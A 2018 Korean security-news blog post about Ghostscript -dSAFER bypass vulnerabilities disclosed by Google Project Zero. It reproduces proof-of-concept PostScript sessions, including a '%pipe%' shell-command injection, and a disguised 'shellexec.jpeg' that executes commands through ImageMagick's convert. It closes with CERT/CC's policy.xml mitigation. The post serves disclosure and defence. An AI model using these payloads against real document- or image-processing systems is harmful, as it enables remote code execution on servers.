상세 컨텐츠

본문 제목

Ghostscript 취약점 발견!

국내외 보안동향

by 알약(Alyac) 2018. 8. 22. 18:20

본문

Google Project Zero의 보안연구원 Tavis Ormandy는 새로 발견한 Ghostscript 취약점 상세내용을 공개하였습니다. Ghostscript는 Adobe PostScript와 PDF 해석기로 현재 많은 응용프로그램(예를들어 ImageMagick、Evince、GIMP、PDF리더기 등)에서 사용중에 있습니다. 


원격코드실행 취약점


공격자는 악성 PostScript、PDF、EPS 또는 XPS 파일을 이용하여 취약점을 악용하며, 해당 취약점에 대한 CVE 번호와 패치는 아직 공개되지 않았습니다. 


취약점 간단 개요


1. /invalidaccess 복구 실패 후 종료되기 때문에, 오류를 처리하는 경우에만 쉘 명령을 실행할 수 있습니다.


$ *gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null*

GS>*legal*

GS>*{ null restore } stopped { pop } if*

GS>*legal*

GS>*mark /OutputFile (%pipe%id) currentdevice putdeviceprops*

GS<1>*showpage*

uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel)

context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


2. setcolor는 setpattern을 통해 간접적으로 호출할 수 있으며 검사를 진행하지 않습니다. 


$ *gs -q -sDEVICE=ppmraw -dSAFER*

GS>*<< /Whatever 16#414141414141 >> setpattern*

Segmentation fault


3. LockDistillerParams boolean을 체크하지 않아 쉽게 혼동할 수 있습니다. 


$ gs -q -sDEVICE=ppmraw -dSAFER

GS><< /LockDistillerParams 16#4141414141414141 >> .setdistillerparams

Segmentation fault


4. .tempfile권한관리가 유효하지 않습니다. 


Tavis Ormandy 역시 Ubuntu와 CentOS상에서 해당 취약점이 존재한다고 밝혔습니다. 


Ubuntu:

$ *cat shellexec.jpeg*

%!PS

userdict /setpagedevice undef

save

legal

{ null restore } stopped { pop } if

{ legal } stopped { pop } if

restore

mark /OutputFile (%pipe%id) currentdevice putdeviceprops

$ *convert shellexec.jpeg whatever.gif*

uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel)

context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


CentOS:

$ *cat shellexec.jpeg*

%!PS

userdict /setpagedevice undef

legal

{ null restore } stopped { pop } if

legal

mark /OutputFile (%pipe%id) currentdevice putdeviceprops

$ *convert shellexec.jpeg whatever.gif*

uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel)

context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023



CERT/CC 임시 조치방법 공개


CERT/CC는 보안공지를 통하여 해당 취약점에 대해 경고를 하였고, 임시방편으로 ImageMagick policy.xml 중의 PostScript、EPS、PDF 및 XPS 디코더를 차단하라고 안내했습니다. 


<policy domain =“coder”rights =“none”pattern =“PS”/> 

<policy domain =“coder”rights =“none”pattern =“EPS”/> 

<policy domain =“coder”rights =“none” pattern =“PDF”/> 

<policy domain =“coder”rights =“none”pattern =“XPS”/>



영향받는 제품


Artifex Software

ImageMagick

Redhat

Ubuntu


영향받지 않는 제품


CoreOS


다른 제품들은 아직 해당 취약점에 대해 어떠한 입장도 내놓지 않고 있습니다. 




참고 :

https://0day.city/0day-186343.html

https://www.kb.cert.org/vuls/id/332928

https://bugs.chromium.org/p/project-zero/issues/detail?id=1640

http://openwall.com/lists/oss-security/2018/08/21/2


관련글 더보기

댓글 영역